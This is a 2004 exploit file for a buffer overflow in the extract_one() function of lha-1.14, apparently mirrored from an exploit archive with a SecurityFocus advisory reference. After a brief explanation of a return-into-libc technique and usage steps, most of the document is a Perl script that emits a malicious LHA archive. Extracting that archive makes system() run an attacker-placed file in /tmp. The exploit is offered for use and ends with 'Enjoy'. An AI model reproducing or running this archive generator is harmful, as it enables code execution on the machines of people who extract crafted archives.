128 lines
No EOL
7.7 KiB
C
Executable file
128 lines
No EOL
7.7 KiB
C
Executable file
source: http://www.securityfocus.com/bid/10354/info
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LHA has been reported prone to multiple vulnerabilities that may allow a malicious archive to execute arbitrary code or corrupt arbitrary files when the archive is operated on. These issues are triggered in the 'extract_one()' and are due to a failure of the application to properly validate string lengths in offending files.
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These issues might allow an attacker to execute code in the context of a user invoking the affected utility.
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Exploiting lha-1.14 (after security advisories)
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19 May, 2004
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Copyright (2004) Lukasz Wojtow <lw@wszia.edu.pl>
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At the time of writing this text, some vulnerabilities have been discovered
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and fixed, but not all (i've sent info to major linux distributions and
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Bugtraq, but they didn't seem to bother).
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This code creates an archive, which decompressed with lha-1.14
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will cause a buffer overflow. The bug is in function extract_one (there are a
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lot of bugs, actually). At first it looked like like a typical stack overflow,
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but after a couple of thoughts it was obvious that returnig on the stack was
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impossible (due to special 0xff handling). The only option came to my mind
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was return-into-libc.
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Addresses inside this code do system("/tmp/lhXXXXXX") and exit().
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Before exploiting 3 addresses have to be obtained:
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- system function,
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- exit function (not really needed, but SEGFAULT could be noticed),
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- address of /tmp/lhXXXXXX inside exploitet binary.
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Put these addresses into their place in the code (in little endian order
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on x86) and run:
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./code > archive.lhz
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then command
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lha -e archive.lhz
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will cause execution of /tmp/lhXXXXXX
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Enjoy
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---CODE START---
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#!/usr/bin/perl
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my $exit_addr= "\x50\xf2\x4\x40";
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my $system_addr= "\x30\x65\x6\x40";
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my $tmp_string= "\xfa\x1e\x5\x8";
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print "\x19\x8d\x2d\x6c\x68\x64\x2d\x18\x0\x0\x0\x0\x0\x0\x0\xe1\xa5".
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"\xb2\x30\x20\x1\x0\x0\x0\x55\x5\x0\x50\xed\x41\x7\x0\x51\x0\x0".
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"\x0\x0\x5\x0\x2\x46\xff\x7\x0\x54\x37\x68\xaa\x40\x0\x0\x19\xde".
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"\x2d\x6c\x68\x64\x2d\x69\x0\x0\x0\x0\x0\x0\x0\xe1\xa5\xb2\x30\x20".
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"\x1\x0\x0\x0\x55\x5\x0\x50\xed\x41\x7\x0\x51\x0\x0\x0\x0\x56\x0\x2".
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"\x46\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\xff\x7\x0\x54\x37\x68\xaa\x40\x0\x0\x19\x2f\x2d\x6c\x68".
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"\x64\x2d\xba\x0\x0\x0\x0\x0\x0\x0\xe1\xa5\xb2\x30\x20\x1\x0\x0\x0".
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"\x55\x5\x0\x50\xed\x41\x7\x0\x51\x0\x0\x0\x0\xa7\x0\x2\x46\xff\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\xff\x7\x0\x54\x37\x68\xaa\x40\x0\x0\x19\x81\x2d\x6c\x68\x64\x2d".
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"\xb\x1\x0\x0\x0\x0\x0\x0\xe1\xa5\xb2\x30\x20\x1\x0\x0\x0\x55\x5\x0".
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"\x50\xed\x41\x7\x0\x51\x0\x0\x0\x0\xf8\x0\x2\x46\xff\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff".
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"\x7\x0\x54\x37\x68\xaa\x40\x0\x0\x19\xff\x2d\x6c\x68\x64\x2d\x48".
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"\x1\x0\x0\x0\x0\x0\x0\x21\xa6\xb2\x30\x20\x1\x0\x0\x0\x55\x5\x0\x50".
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"\xed\x41\x7\x0\x51\x0\x0\x0\x0\x35\x1\x2\x46\xff\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x7\x0\x54\xaf\x68".
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"\xaa\x40\x0\x0\x19\x10\x2d\x6c\x68\x64\x2d\x59\x1\x0\x0\x0\x0\x0\x0".
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"\x21\xa6\xb2\x30\x20\x1\x0\x0\x0\x55\x5\x0\x50\xed\x41\x7\x0\x51\x0".
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"\x0\x0\x0\x46\x1\x2\x46\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\xff\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\xff\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41\x41".
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"\x41\x41\x41\x41\xff\x41\x41\x41\x41".
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$system_addr. $exit_addr. $tmp_string.
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"\xff\x7\x0\x54\xaf\x68\xaa\x40\x0\x0\x0";
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---CODE END--- |